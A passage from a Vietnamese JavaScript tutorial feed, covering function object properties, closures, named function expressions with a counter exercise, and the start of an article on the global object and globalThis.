dụng closure như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">makeCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// ban đầu counter bằng 0</span> <span class="token keyword">let</span> count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// trả về một hàm khác</span> <span class="token comment">// hàm này return về counter rồi tăng biến counter lên 1 đơn vị</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> count<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// sử dụng -> counter chính là nested function</span> <span class="token keyword">let</span> counter <span class="token operator">=</span> <span class="token function">makeCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sau mỗi lần gọi hàm counter() thì giá trị count tăng lên 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Thay vào đó, bạn có thể sử dụng thuộc tính của hàm như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">makeCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// ban đầu counter bằng 0</span> <span class="gatsby-highlight-code-line"> <span class="token comment">// let count = 0;</span></span> <span class="gatsby-highlight-code-line"> <span class="token keyword">function</span> <span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> counter<span class="token punctuation">.</span>count<span class="token operator">++</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"> counter<span class="token punctuation">.</span>count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span></span> <span class="token keyword">return</span> counter<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// sử dụng</span> <span class="token keyword">let</span> counter <span class="token operator">=</span> <span class="token function">makeCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sau mỗi lần gọi hàm counter() thì giá trị count tăng lên 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Về cơ bản thì hai cách trên <strong>khá giống nhau</strong>, chỉ khác một chỗ. Với cách sử dụng thuộc tính hàm thì biến <code>count</code> có thể được truy cập trực tiếp từ bên ngoài.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">makeCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">function</span> <span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> counter<span class="token punctuation">.</span>count<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> counter<span class="token punctuation">.</span>count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">return</span> counter<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> counter <span class="token operator">=</span> <span class="token function">makeCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">counter<span class="token punctuation">.</span>count <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span></span></code></pre></div> <p>Nói chung, mỗi cách có một đặc điểm riêng. Tùy thuộc vào mục đích mà bạn quyết định xem nên lựa chọn cách nào.</p> <h2 id="biểu-thức-hàm-được-đặt-tên" style="position:relative;"><a href="#bi%E1%BB%83u-th%E1%BB%A9c-h%C3%A0m-%C4%91%C6%B0%E1%BB%A3c-%C4%91%E1%BA%B7t-t%C3%AAn" aria-label="biểu thức hàm được đặt tên permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Biểu thức hàm được đặt tên</h2> <p>Biểu thức hàm được đặt tên, hay tiếng anh là <strong>Named Function Expression</strong> - NFE, được hiểu là bạn định nghĩa <a href="/function-expression-trong-javascript/">biểu thức hàm</a> và đặt tên cho nó.</p> <p>Ví dụ biểu thức hàm ban đầu như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">who</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>who<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Sau đó, bạn thêm tên cho hàm:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> <span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token parameter">who</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>who<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>► <strong>Việc thêm tên hàm <code>func</code> có ý nghĩa gì?</strong></p> <p>Vệc bạn thêm tên hàm <code>func</code> không làm thay đổi cấu trúc hàm. Hàm <code>sayHi</code> vẫn là biểu thức hàm và vẫn có thể gọi bình thường:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token parameter">who</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>who<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, Alex</span></code></pre></div> <p>Thực tế, việc thêm tên cho biểu thức hàm có hai lợi ích là:</p> <ul> <li>Cho phép gọi hàm ngay trong thân hàm.</li> <li>Tên biểu thức hàm không nhìn thấy được từ bên ngoài.</li> </ul> <p>Ví dụ, hàm <code>sayHi</code> gọi lại chính nó với tham số <code>"Guest"</code> nếu như không truyền tham số vào hàm:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> <span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token parameter">who</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> <span class="token keyword">if</span> <span class="token punctuation">(</span>who<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>who<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token function">func</span><span class="token punctuation">(</span><span class="token string">"Guest"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gọi lại chính nó với tham số "Guest"</span></span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, Guest</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: func is not defined</span></code></pre></div> <p>► <strong>Tại sao lại sử dụng <code>func</code>, trong khi bạn có thể gọi lại hàm thông qua tên <code>sayHi</code>?</strong></p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> <span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token parameter">who</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> <span class="token keyword">if</span> <span class="token punctuation">(</span>who<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>who<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token string">"Guest"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gọi lại chính nó với tham số "Guest"</span></span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, Guest</span></code></pre></div> <p>Đoạn code trên vẫn hoạt động bình thường. Nhưng vấn đề xảy ra là nếu biến <code>sayHi</code> được gán bằng giá trị khác thì việc gọi hàm như trên sẽ bị lỗi:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> <span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token parameter">who</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> <span class="token keyword">if</span> <span class="token punctuation">(</span>who<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>who<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token string">"Guest"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gọi lại chính nó với tham số "Guest"</span></span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> sayHello <span class="token operator">=</span> sayHi<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">sayHi <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught TypeError: sayHi is not a function</span></span></code></pre></div> <p>Lỗi trên xảy ra là vì giá trị của <code>sayHi</code> được lấy ở phạm vi ngoài hàm. Mà tại thời điểm gọi hàm, giá trị của <code>sayHi</code> là <code>null</code>.</p> <p>Để giải quyết vấn đề trên, bạn chỉ cần sử dụng tên của biểu thức hàm <code>func</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token parameter">who</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>who<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>who<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token function">func</span><span class="token punctuation">(</span><span class="token string">"Guest"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gọi lại chính nó với tham số "Guest"</span></span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> sayHello <span class="token operator">=</span> sayHi<span class="token punctuation">;</span> sayHi <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, Guest</span></code></pre></div> <p>Đoạn code này không lỗi vì <code>func</code> là tên cục bộ trong hàm. Tên <code>func</code> không được nhìn thấy bên ngoài hàm, nhưng bạn có thể gọi <code>func</code> thoải mái từ trong biểu thức hàm.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Function là một loại object.</p> <p>Function object trong JavaScript có hai thuộc tính hữu ích là:</p> <ul> <li>Thuộc tính <code>name</code>: trả về tên của hàm. Giá trị của thuộc tính <code>name</code> thường được lấy khi khai báo hàm. Nếu không có thì JavaScript sẽ cố gắng lấy <code>name</code> từ ngữ cảnh cụ thể (ví dụ phép gán).</li> <li>Thuộc tính <code>length</code>: trả về số lượng tham số của hàm, không bao gồm tham số còn lại của hàm với dấu ba chấm <code>...</code>.</li> </ul> <p>Nếu một hàm được định nghĩa bởi biểu thức hàm đi kèm với một tên thì hàm đó gọi là <strong>Named Function Expression</strong> hay <strong>NFE</strong>.</p> <p>Tên của biểu thức hàm có thể được sử dụng để gọi lại tới chính nó, bên trong thân hàm.</p> <p>Function object trong JavaScript có thể thêm nhiều thuộc tính khác tùy ý.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <p>Viết hàm <code>makeCounter()</code> thực hiện những yêu cầu sau:</p> <ol> <li><code>counter()</code>: trả về giá trị <code>count</code> hiện tại, sau đó tăng <code>count</code> lên 1 đơn vị.</li> <li><code>counter.set(value)</code>: gán giá trị <code>value</code> cho <code>counter</code>.</li> <li><code>counter.decrease()</code>: giảm giá trị của <code>counter</code> đi 1 đơn vị.</li> </ol> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết hợp closure và thuộc tính của function object trong JavaScript như sau:</p> <ul> <li>Khai báo biến <code>count</code> là biến cục bộ của hàm <code>makeCounter</code> để không thể truy cập trực tiếp từ bên ngoài.</li> <li>Định nghĩa hai hàm <code>set</code> và <code>decrease</code> sử dụng thuộc tính của function object.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">makeCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// ban đầu counter bằng 0</span> <span class="token keyword">let</span> count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// trả về một hàm khác</span> <span class="token comment">// hàm này return về counter rồi tăng biến counter lên 1 đơn vị</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// 1. hàm set(value) - gán giá trị value cho count</span> counter<span class="token punctuation">.</span><span class="token function-variable function">set</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> count <span class="token operator">=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// 2. hàm decrease() - giảm giá trị của count đi 1 đơn vị</span> counter<span class="token punctuation">.</span><span class="token function-variable function">decrease</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> count<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">return</span> count<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> counter <span class="token operator">=</span> <span class="token function">makeCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> <span class="token comment">// set giá trị mới cho count</span> counter<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 5</span> <span class="token comment">// sau lần gọi này, giá trị của count đang là 6</span> <span class="token comment">// giảm giá trị của count đi 1</span> counter<span class="token punctuation">.</span><span class="token function">decrease</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 5</span></code></pre></div> </div> </div> </div> <p>Tham khảo: <a href="https://javascript.info/function-object">Function object, NFE</a></p>[email protected]<![CDATA[Đối tượng global trong JavaScript]]><![CDATA[Bài viết này giúp bạn tìm hiểu về đối tượng global trong JavaScript. Qua đây, bạn biết khi nào nên sử dụng đối tượng global. Đối tượng global là gì? Đối tượng global trong…]]>https://completejavascript.com/doi-tuong-global-trong-javascript/https://completejavascript.com/doi-tuong-global-trong-javascript/<![CDATA[Hàm]]><![CDATA[Object]]>Fri, 16 Jun 2017 06:20:00 GMT<p>Bài viết này giúp bạn tìm hiểu về đối tượng global trong JavaScript. Qua đây, bạn biết khi nào nên sử dụng đối tượng global.</p> <h2 id="đối-tượng-global-là-gì" style="position:relative;"><a href="#%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-global-l%C3%A0-g%C3%AC" aria-label="đối tượng global là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đối tượng global là gì?</h2> <p><strong>Đối tượng global trong JavaScript</strong> cung cấp các biến và hàm được sử dụng ở mọi nơi trong chương trình.</p> <ul> <li>Trên trình duyệt, đó là đối tượng <code>window</code>.</li> <li>Trong Node.js, đó là đối tượng <code>global</code>.</li> <li>Trong môi trường khác thì có thể là đối tượng với tên khác.</li> </ul> <p>Gần đây, đối tượng <code>globalThis</code> mới được thêm vào JavaScript. Đây là tên chuẩn được dùng cho đối tượng global ở tất cả các môi trường và tất cả các trình duyệt khác nhau.</p> <blockquote> <p><strong>Chú ý:</strong> trong bài viết này, mình chủ yếu dùng <code>window</code> khi nói về đối tượng global trong JavaScript.</p> <p>Vì mình giả sử rằng, bạn đang đọc và thử nghiệm code ngay trên <a href="/dev-tools-la-gi/">Dev Tool</a> của trình duyệt. Nếu bạn chạy code trên môi trường khác thì có thể thay thế <code>window</code> bằng <code>globalThis</code>.</p> </blockquote> <p>Tất cả các thuộc tính của đối tượng global trong JavaScript có thể được truy cập ở mọi nơi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tương đương với</span> window<span class="token punctuation">.</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trên trình duyệt, hàm và biến toàn cục được khai báo với <code>var</code> (không phải <code>let/const</code>) đều trở thành thuộc tính của global object:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khai báo biến với var</span> <span class="token keyword">var</span> gVar <span class="token operator">=</span> <span class="token number">6</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>window<span class="token punctuation">.</span>gVar<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span> <span class="token comment">// gVar trở thành thuộc tính của đối tượng global</span> <span class="token comment">// khai báo hàm với function</span> <span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hi!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> window<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi!</span> <span class="token comment">// hàm sayHi cũng trở thành thuộc tính của window</span></code></pre></div> <p>Nếu bạn sử dụng <code>let</code> để khai báo biến thì biến đó không trở thành thuộc tính của đối tượng global trong JavaScript:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khai báo biến với let</span> <span class="token keyword">let</span> gLet <span class="token operator">=</span> <span class="token number">6</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>window<span class="token punctuation">.</span>gLet<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Nếu một biến quan trọng và bạn thật sự muốn sử dụng biến đó ở mọi nơi trong chương trình. Bạn nên chủ động gán biến đó vào đối tượng global như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// tạo đối tượng global: currentUser</span> window<span class="token punctuation">.</span>currentUser <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng ở nơi nào đó trong code</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>currentUser<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span> <span class="token comment">// hoặc nếu bạn có biến cục bộ nào đó trùng tên</span> <span class="token comment">// bạn nên chủ động gọi thông qua window</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>window<span class="token punctuation">.</span>currentUser<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span></code></pre></div> <p>Nhìn chung, bạn không nên sử dụng biến toàn cục. Việc sử dụng biến toàn cục nhiều sẽ khiến bạn khó theo dõi logic code khi số lượng code bắt đầu nhiều lên.</p> <h2 id="sử-dụng-polyfills" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-polyfills" aria-label="sử dụng polyfills permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 